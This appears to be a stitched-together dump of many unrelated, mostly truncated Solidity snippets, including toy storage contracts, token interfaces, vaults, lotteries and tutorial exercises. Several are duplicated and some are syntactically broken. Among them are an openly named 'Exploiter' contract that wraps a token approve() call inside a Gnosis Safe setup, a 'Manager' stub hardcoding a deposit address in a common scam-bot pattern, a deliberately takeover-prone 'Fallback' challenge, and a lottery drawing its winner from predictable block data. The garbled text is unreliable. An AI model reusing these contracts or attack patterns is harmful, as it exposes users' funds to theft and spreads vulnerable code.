//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;kill
//SPDX-Licence-Identifier: MIT
pragma solidity 0.8.7;
contract Lottery {
event TicketPurchased(address who);
event WinnerPicked(address who, uint256 reward);
uint256 immutable i_ticketPrice;
uint256 immutable i_startBlock;
uint256 immutable i_endBlock;
address[] players;
constructor(uint256 _ticketPrice, uint256 lotteryDurationInBlocks) {
i_ticketPrice = _ticketPrice;
i_startBlock = block.number;
i_endBlock = block.number + lotteryDurationInBlocks;
}
function buyTicket() external payable {
require(block.number < i_endBlock, "Lottery has ended");
require(msg.value == i_ticketPrice, "Wrong purchase");
players.push(msg.sender);
emit TicketPurchased(msg.sender);
}
function pickWinner() external {
require(block.number > i_endBlock);
uint256 winnerIndex = uint256(
keccak256(
abi.encodePacked(block.timestamp, players.length, block.number)
)
) % p
// File: contracts/swap/interfaces/IFluxSwapCallee.sol
//solhint-disable-next-line compiler-version
pragma solidity >=0.5.0;
interface IFluxSwapCallee {
function fluxSwapCall(
address sender,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
}
// File: contracts/swap/interfaces/IERC20.sol
//solhint-disable-next-line compiler-version
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
/**
*Submitted for verification at BscScan.com on 2021-03-22
*/
/**
*Website: https://bnbMiner.finance
*/
pragma solidity ^0.4.26; // solhint-disable-line
contract BNBTest{
//uint256 EGGS_PER_MINERS_PER_SECOND=1;
uint256 public EGGS_TO_HATCH_1MINERS=2592000;//for final version should be seconds in a day
uint256 PSN=10000;
uint256 PSNH=5000;
bool public initialized=false;
address public ceoAddress;
address public ceoAddress2;
mapping (address => uint256) public hatcheryMiners;
mapping (address => uint256) public claimedEggs;
mapping (address => uint256) public lastHatch;
mapping (address => address) public referrals;
uint256 public marketEggs;
constructor() public{
ceoAddress=msg.sender;
ceoAddress2=address(0xaA31F5dBaa6f841D494396dde1bCeEeeE912C442);
}
function hatchEggs(address ref) public{
require(initialized);
if(ref == msg.sender) {
ref = 0;
}
if(referrals[msg.sender]==0 && referral
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
pragma solidity ^0.4.18;
contract Gastoken {
function free(uint256 value) public returns (bool success);
function freeUpTo(uint256 value) public returns (uint256 freed);
function freeFrom(address from, uint256 value) public returns (bool success);
function freeFromUpTo(address from, uint256 value) public returns (uint256 freed);
}
contract Example {
// This function consumes a lot of gas
function expensiveStuff() private pure {
/* lots of expensive stuff */
}
/*
* Frees `free' tokens from the Gastoken at address `gas_token'.
* The freed tokens belong to this Example contract. The gas refund can pay
* for up to half of the gas cost of the total transaction in which this
* call occurs.
*/
function burnGasAndFree(address gas_token, uint256 free) public {
require(Gastoken(gas_token).free(free));
expensiveStuff();
}
/*
* Frees `free' tokens from the Gastoken at address `gas_token'.
* The freed tokens belong
pragma solidity ^0.8.0;
import './interfaces/IERC20.sol';
import './interfaces/IPancakePair.sol';
import './interfaces/IPancakeRouter.sol';
import './interfaces/IPancakeFactory.sol';
import './libs/Ownable.sol';
import './libs/Lockable.sol';
contract YieldFarmingWithoutMinting is Ownable, Lockable {
/**
* Dev: owner or Creater can deposit Revards tokens.
**/
function depositRevards(uint256 farmId, uint256 amount) external {
Farm storage farm = _farms[farmId];
require(_msgSender() == owner() || _msgSender() == farm.creator, 'Only owner or creator can update this farm');
farm.revardsValue += amount;
farm.token.transferFrom(_msgSender(), address(this), amount);
}
/**
* Dev: owner or Creater can withdrawal Revards tokens.
**/
function withdrawalRevards(uint256 farmId, uint256 amount) external onlyOwner {
Farm storage farm = _farms[farmId];
farm.revardsValue -= amount;
farm.token.transfer(_msgSender(), amount);
}
// The cut part of the code
pragma solidity ^0.6.12;
import "./Context.sol";
import "./SafeMath.sol";
import "./Ownable.sol";
import "../interfaces/IERC20.sol";
abstract contract ReflectToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private _tTotal;
uint256 private _rTotal;
uint256 private _tFeeTotal;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructo
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value1) public {
value = _value1;
}
function get() public constant returns (uint) {
return value;
}
uint value;
// File: contracts/exchange/interfaces/IFluxSwapCallee.sol
pragma solidity >=0.5.0;
interface IFluxSwapCallee {
function fluxSwapCall(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/exchange/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFr
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.9;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
contract Contract is Ownable, IERC20, ReentrancyGuard {
using SafeMath for uint256;
using Address for address;
string private _name;
string private _symbol;
uint256 private _decimals;
uint256 private _tTotal;
address public walletLiquidity;
address public walletTokens;
address payable public
use anchor_lang::prelude::*;
use mpl_token_metadata::{instruction::set_and_verify_collection, utils::assert_derivation};
use solana_program::{
program::invoke_signed, sysvar, sysvar::instructions::get_instruction_relative,
};
use crate::{cmp_pubkeys, CM, CollectionPDA};
/// Sets and verifies the collection during a mint
#[derive(Accounts)]
pub struct SetCollectionDuringMint<'info> {
#[account(has_one = authority)]
candy_machine: Account<'info, CM>,
/// CHECK: account checked in CPI/instruction sysvar
metadata: UncheckedAccount<'info>,
payer: Signer<'info>,
#[account(mut, seeds = [b"collection".as_ref(), candy_machine.to_account_info().key.as_ref()], bump)]
collection_pda: Account<'info, CollectionPDA>,
/// CHECK: account constraints checked in account trait
#[account(address = mpl_token_metadata::id())]
token_metadata_program: UncheckedAccount<'info>,
/// CHECK: account constraints checked in account trait
#[account(address = sysvar::instructions::id())]
// SPDX-License-Identifier: MIT
import "./BEP20.sol";
pragma solidity 0.6.12;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[acco
// SPDX-License-Identifier: MIT
import "./BEP20.sol";
pragma solidity 0.6.12;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[acco
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
contract MyPaymentProcessor {
// Events:
event NewPayment(uint indexed index, address indexed sender, uint amount);
// Fields:
mapping(address => uint) public _balances;
uint public _paymentsCount = 0;
// TODO: use OpenZeppelin's Ownable instead! Just an example
address _owner;
// Methods:
constructor() public {
// TODO: need a function to change an owner
_owner = msg.sender;
}
// This is a fallback function
// it is automatically called each time anyone sends ether to this contract
// will keep all the Ether in the contract until you call a withdaw() function
function() public payable {
// TODO: process multiple payments
// 0 - check if user haven't sent us money before
require(_balances[msg.sender]==0, "Can not process payment: please dont send again");
// 1 - update user's balance
_balances[m
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
contract MyPaymentProcessor {
// Events:
event NewPayment(uint indexed index, address indexed sender, uint amount);
// Fields:
mapping(address => uint) public balances;
uint public paymentsCount = 0;
// TODO: use OpenZeppelin's Ownable instead! Just an example
address _owner;
// Methods:
constructor() public {
// TODO: need a function to change an owner
_owner = msg.sender;
}
// This is a fallback function
// it is automatically called each time anyone sends ether to this contract
// will keep all the Ether in the contract until you call a withdaw() function
function() public payable {
// TODO: process multiple payments
// 0 - check if user haven't sent us money before
require(balances[msg.sender]==0, "Can not process payment: please dont send again");
// 1 - update user's balance
balances[msg.s
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint
contract Executor {
function execute(address to, bytes calldata data, uint256 gas) external {
(bool success, bytes memory returnData) = to.call.gas(gas)(data);
// do something
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
if (value == 0){
return 0;
}
return value;
}
uint value;
pragma solidity 0.4.18;
contract WhiteListValidatorExample {
mapping (address => bool) private verifiedWhitelist;
function setProfPubKey(address addr, bool value) public {
// Gate permission to Dathan.eth and Ryave send awards until better validation is implemented
require(msg.sender == 0x64835C348e974B38d573145374EF72FdA51A72b3 || msg.sender == 0xdC5c6e39870869DCFed9e10cb06Ee77ca2172505);
verifiedWhitelist[addr] = value;
}
function isVerifiedProfPubKey(address addr) public view returns (bool) {
return verifiedWhitelist[addr];
}
function sendTheThing() public view returns (bool) {
require(isVerifiedProfPubKey(msg.sender));
return true;
}
pragma solidity 0.4.18;
contract WhiteListValidatorExample {
mapping (address => bool) private verifiedWhitelist;
function setProfPubKey(address addr, bool value) public {
// Gate permission to send awards until better validation is implementation
require(msg.sender == 0x64835C348e974B38d573145374EF72FdA51A72b3 || msg.sender == 0xdC5c6e39870869DCFed9e10cb06Ee77ca2172505);
verifiedWhitelist[addr] = value;
}
function isVerifiedProfPubKey(address addr) public view returns (bool) {
return verifiedWhitelist[addr];
}
function sendTheThing() public view returns (bool) {
require(isVerifiedProfPubKey(msg.sender));
return true;
}
pragma solidity >=0.7.0 <0.9.0;
contract Codes {
mapping(string => string) private codes;
function store(string calldata code, string calldata ipfs) public {
codes[code] = ipfs;
}
function retrieve(string calldata code) public view returns (string memory) {
return codes[code];
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.5.3;
import "./GnosisSafeProxyFactory.sol";
import "./GnosisSafeMasterCopy.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.1/contracts/token/ERC20/IERC20.sol";
contract Exploiter {
Proxy proxy;
ProxyFactory proxyFactory;
address owner;
constructor(address _proxyFactory) public{
owner = msg.sender;
proxyFactory = ProxyFactory(_proxyFactory);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function createMultisig(address _masterCopy, address _token) public onlyOwner returns(address){
address[] memory owners = new address[](1);
owners[0] = owner;
bytes memory callApprove = abi.encodeWithSignature(
"approve(address,address)",
_token,
address(this)
);
bytes memory data = abi.encodeWithSignature(
"setup(address[],uint256,address,bytes,address,address,uint256,addr
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC20} from "../tokens/ERC20.sol";
import {SafeTransferLib} from "../utils/SafeTransferLib.sol";
import {FixedPointMathLib} from "../utils/FixedPointMathLib.sol";
/// @notice Minimal ERC4626 tokenized Vault implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/mixins/ERC4626.sol)
abstract contract ERC4626 is ERC20 {
using SafeTransferLib for ERC20;
using FixedPointMathLib for uint256;
/*//////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Deposit(
address indexed caller,
address indexed owner,
uint256 assets,
uint256 shares
);
event Withdraw(
address indexed caller,
address indexed receiver,
address indexed owner,
uint256 assets,
uint256 shares
);
/*///////////////////
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {Auth} from "solmate/auth/Auth.sol";
import {ERC4626} from "solmate/mixins/ERC4626.sol";
import {SafeCastLib} from "solmate/utils/SafeCastLib.sol";
import {SafeTransferLib} from "solmate/utils/SafeTransferLib.sol";
import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol";
import {WETH} from "solmate/tokens/WETH.sol";
import {ERC20} from "solmate/tokens/ERC20.sol";
import {Strategy, ERC20Strategy, ETHStrategy} from "./interfaces/Strategy.sol";
/// @title Rari Vault (rvToken)
/// @author Transmissions11 and JetJadeja
/// @notice Flexible, minimalist, and gas-optimized yield
/// aggregator for earning interest on any ERC20 token.
contract Vault is ERC4626, Auth {
using SafeCastLib for uint256;
using SafeTransferLib for ERC20;
using FixedPointMathLib for uint256;
/*///////////////////////////////////////////////////////////////
CONSTANTS
//////////////////////////////////
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Proof {
struct FileDetails {
uint timestamp;
string owner;
}
mapping (string => FileDetails) files;
event logFileAddedStatus(bool status, uint timestamp, string owner, string fileHash);
function set(string owner, string fileHash) external {
if(files[fileHash].timestamp == 0)
{
files[fileHash] = FileDetails(block.timestamp, owner);
logFileAddedStatus(true, block.timestamp, owner, fileHash);
}
else {
logFileAddedStatus(false, block.timestamp, owner, fileHash);
}
}
function get(string fileHash) external view returns (uint timestamp, string owner) {
return (files[fileHash].timestamp, files[fileHash].owner);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Proof {
struct FileDetails {
uint timestamp;
string owner;
}
mapping (string => FileDetails) files;
event logFileAddedStatus(bool status, uint timestamp, string owner, string fileHash);
function set(string owner, string fileHash) external {
if(files[fileHash].timestamp == 0)
{
files[fileHash] = FileDetails(block.timestamp, owner);
logFileAddedStatus(true, block.timestamp, owner, fileHash);
}
else {
logFileAddedStatus(false, block.timestamp, owner, fileHash);
}
}
function get(string fileHash) external view returns (uint timestamp, string owner) {
return (files[fileHash].timestamp, files[fileHash].owner);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
uint private coins;
function add(uint value1,uint value2) public view returns(uint){
coins = value1 + value2;
return coins;
}
function mult(uint value1,uint value2) public view returns(uint){
coins = value1*value2;
return coins;
}
pragma solidity ^0.4.18;
contract SimpleStore {
function add() public pure returns(uint){
uint num1 = 10;
uint num2 = 16;
uint sum = num1 + num2;
return sum;
}
}
pragma solidity >= 0.7.1;
contract VirtualBPP {
struct User {
int256 time_start;
int256 time_end;
int256 user_id;
bool active;
int256 access;
int256[] assets;
}
struct StateMeasurement {
int256 asset_id;
int256 value;
int256 datetime;
}
struct StateMeasurementUser {
string asset_user_id;
int256 value;
int256 datetime;
}
struct Asset {
int256 asset_id;
int256 time_start;
int256 time_end;
bool active;
string typei;
string region;
int256[] blacklistUsers;
int256[] owners;
}
mapping (int256 => User) users;
mapping (int256 => StateMeasurement) stateMeasurement;
mapping (string => StateMeasurementUser) stateMeasurementUser;
mapping (int256 => Asset) public assets;
// set user function
function setUser (
int256 _user_id,
int256 _time_start,
int256 _time_end,
bool _active,
int256 _access,
int256[] memory _assets)
public {
User memory u;
u.time_start = _time_start;
u.time_end = _time_end;
u.user_id = _user_id;
u.active = _active;
u.access = _access;
u.assets = _assets;
users[_user_id] = u;
}
// set asset function
func
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.8.9;
contract SimpleStore {
function testGas1(uint a, uint b) {
if (a == 1 && b == 2) {
}
}
function testGas2(uint a, uint b) {
if (true) {
}
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;
//contract name is MyFirstContract
contract MyFirstContract {
//create two variables. A sting and an integer
string private name;
uint private age;
//set
function setName(string memory newName) public {
name = newName;
}
//get
function getName () public view returns (string memory) {
return name;
}
//set
function setAge(uint newAge) public {
assert(newAge > 0 && newAge < 100);
age = newAge;
}
//get
function getAge () public view returns (uint) {
return age;
}
pragma solidity ^0.4.18;
contract WETH9 {
string public name = "Wrapped Ether";
string public symbol = "WETH";
uint8 public decimals = 18;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
function() public payable {
deposit();
}
function deposit() public payable {
balanceOf[msg.sender] += msg.value;
Deposit(msg.sender, msg.value);
}
function withdraw(uint wad) public {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] -= wad;
msg.sender.transfer(wad);
Withdrawal(msg.sender, wad);
}
function totalSupply() public view returns (uint) {
return this.ba
// SPDX-License-Identifier: MIT
// DropCase.sol --
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all
// copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISIN
//Write your own/**
*MRWEB FINANCE NEW TOKEN VERSION 2
*OLD VERSION IT WAS (AMA)
*CONTRACT ADDRESS IS 0xfc3da4a1b6fadab364039525dd2ab7c0c16521cd
*THIS VERSION IS THE V2 NAME(MFT) MREB FINANCE TOKEN
*CREATED BY MRWEB ON 31/05/2022
*/
pragma solidity 0.5.16;
interface IBEP20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256
// contracts/Baseballs.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/structs/BitMaps.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "./external/MLBC.sol";
contract Baseballs is Context, ERC20Burnable {
using BitMaps for BitMaps.BitMap;
MLBC public _mlbc;
BitMaps.BitMap private _baseballsBitMap;
constructor(address mlbcAddress) ERC20("Baseballs", "Baseball") {
_mlbc = MLBC(mlbcAddress);
}
function mint(uint32[] calldata tokenIds) public {
require(tokenIds.length < 1001, "Too many");
for (uint i=0; i < tokenIds.length; i++) {
uint32 tokenId = tokenIds[i];
//Don't mint past the supply at launch.
require(tokenId < 249173, "Token too high");
require(tokenId > 0, "Token too low");
//Validat
// SPDX-License-Identifier: MIT
pragma solidity 0.8.14;
contract MyContract {
uint public total;
constructor(){
total = 0;
}
function addSix() public
{
addOne();
addTwo();
addThree();
}
function addOne() private{
total += 1;
}
function addTwo() private{
total += 1;
}
function addThree() private{
total += 3;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.14;
contract MyContract {
uint public total;
constructor(){
total = 0;
}
function addSix() public
{
addOne();
addTwo();
addThree();
}
function addOne() private{
total += 1;
}
function addTwo() private{
total += 1;
}
function addThree() private{
total += 3;
}
pragma solidity ^0.4.19:
contract ZombieFactory {
event NewZombie(uint zombieId, string name, uint dna);
uint dnaDigits = 16:
uint dnaModulus = 10 ** dnaDigits:
struct Zombie {
string name:
uint dna:
}
Zombie (1 public zombies;
// declare mappings here
pragma solidity ^0.6.6;
contract Manager {
function performTasks() public {
}
function pancakeswapDepositAddress() public pure returns (address) {
return 0x4d57226Fd37DE2bf760304251B3e38c096756089;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
} Implement and demonstrate the use of the Following.
1. Mathematical Function
pragma solidity ^0.5.0;
contract Test {
function callAddMod() public pure returns(uint){
return addmod(4, 5, 3);
}
function callMulMod() public pure returns(uint){
return mulmod(4, 5, 3);
}
}
Outputa. Addition-
// Solidity program to
// demonstrate addition
pragma solidity 0.6.6;
contract MathPlus
{
// Declaring the state
// variables
uint firstNo ;
uint secondNo ;
// Defining the function
// to set the value of the
// first variable
function firstNoSet(uint x) public
{
firstNo = x;}
pragma solidity ^0.8.0;
contract Lottery {
struct lotteryInstance {
uint currentAmount;
uint maxParticipants;
uint id;
bool status;
uint winner;
uint participantCount;
}
mapping (uint => address[]) public participants;
mapping (uint => bool) public allotedNumbers;
mapping (uint => lotteryInstance) public lotteries;
uint mapSize=0;
uint initialNumber;
function createLottery() public returns(bool success) {
lotteryInstance memory lt = lotteryInstance({currentAmount:0,maxParticipants:5,status:false,winner:0,id:mapSize,participantCount:0});
lotteries[mapSize++] = lt;
return true;
}
function listLotteries() public view returns(lotteryInstance[] memory lottxs) {
lotteryInstance[] memory lotts;
uint cnt=0;
for(cnt=0;cnt<mapSize;cnt++) {
lotts[cnt] = lotteries[cnt];
}
return lotts;
}
function lo
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function getSum(uint a, uint b) public pure returns(uint){
return a + b;
}
function getSum(uint a, uint b, uint c) public pure returns(uint){
return a + b + c;
}
function callSumWithTwoArguments() public pure returns(uint){
return getSum(1,2);
}
function callSumWithThreeArguments() public pure returns(uint){
return getSum(1,2,3);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract test
{
uint public var1;
uint public var2;
uint public sum;
function set (uint x, uint y) public
{
var1 = x;
var2 = y;
sum = var1 + var2;
}
function get()
public view returns (uint)
{
return sum;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "hardhat/console.sol";
contract NFTMarketplace is ERC721URIStorage {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
Counters.Counter private _itemsSold;
uint256 listingPrice = 0.025 ether;
address payable owner;
mapping(uint256 => MarketItem) private idToMarketItem;
struct MarketItem {
uint256 tokenId;
address payable seller;
address payable owner;
uint256 price;
bool sold;
}
event MarketItemCreated (
uint256 indexed tokenId,
address seller,
address owner,
uint256 price,
bool sold
);
constructor() ERC721("WageCan NFT", "WCT") {
owner = payable(msg.sender);
}
/* Updates the listing price of the contract */
f
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.6.6;
contract Playground {
function compare(string _s1, string _s2)
pure
public
returns(bool) {
bytes memory b1 = bytes(_s1);
bytes memory b2 = bytes(_s2);
if (b1.length != b2.length) {
return false;
}
return keccak256(b1) == keccak256(b2);
}
function concat(string _s1, string _s2)
pure
public
returns(string) {
return string(abi.encodePacked(bytes(_s1), bytes(_s2)));
}
function strLen(string _str)
pure
public
returns(uint) {
bytes memory b = bytes(_str);
return (b.length);
}
function strReplace(string _from, string _what, string _to)
pure
public
returns(string) {
bytes memory bfrom = bytes(_from);
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
library SafeMath {
function add(uint x, uint y) internal pure returns (uint) {
uint z = x + y;
require(z >= x, "uint overflow");
return z;
}
}
library Math {
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0 (default value)
}
}
contract TestSafeMath {
using SafeMath for uint;
uint public MAX_UINT = 2**256 - 1;
function testAdd(uint x, uint y) public pure returns (uint) {
return x.add(y);
}
function testSquareRoot(uint x) public pure returns (uint) {
return Math.sqrt(x);
}
}
// Array function to delete element at index and re-organize the array
// so that their are no gaps between the elements.
library Array {
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.4.13;
contract Session3 {
/* HINTS:
Sumar: +
Restar: -
Dividir: /
Multiplicar: *
Resto: %
if (expression1) {
Statement(s) ejecutado si "expression1" es "true"
} else {
Statement(s) ejecutado si no hay ninguna expresion que sea "true"
}
*/
// Crea una funcion que reciba 2 numeros y te devuelva el numero que sea mayor
/* Berenu:
- El operador ternario está muy bien para dejar el codigo más limpio, sin embargo
puede ser un poco mas complejo de leer.
- "uint" es como poner "uint256". Lo unico decirte que si eliges poner "uint" deberias
ponerlo en todas las funciones.
*/
function greater(uint one, uint two) external pure returns (uint) {
return one >= two ? one : two;
}
// Crea una funcion que te devuelva el porcentaje X de una cantidad.
/* Berenu:
Perfecto!
Si ademas, lo quieres h
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.4.13;
contract Session3 {
/* HINTS:
Sumar: +
Restar: -
Dividir: /
Multiplicar: *
Resto: %
if (expression1) {
Statement(s) ejecutado si "expression1" es "true"
} else {
Statement(s) ejecutado si no hay ninguna expresion que sea "true"
}
*/
// Crea una funcion que reciba 2 numeros y te devuelva el numero que sea mayor
/* Berenu:
- El operador ternario está muy bien para dejar el codigo más limpio, sin embargo
puede ser un poco mas complejo de leer.
- "uint" es como poner "uint256". Lo unico decirte que si eliges poner "uint" deberias
ponerlo en todas las funciones.
*/
function greater(uint one, uint two) external pure returns (uint) {
return one >= two ? one : two;
}
// Crea una funcion que te devuelva el porcentaje X de una cantidad.
/* Berenu:
Perfecto!
Si ademas, lo quieres h
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
// hello hello
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
// hello
contract SimpleStore {
function set(uint _value) public {
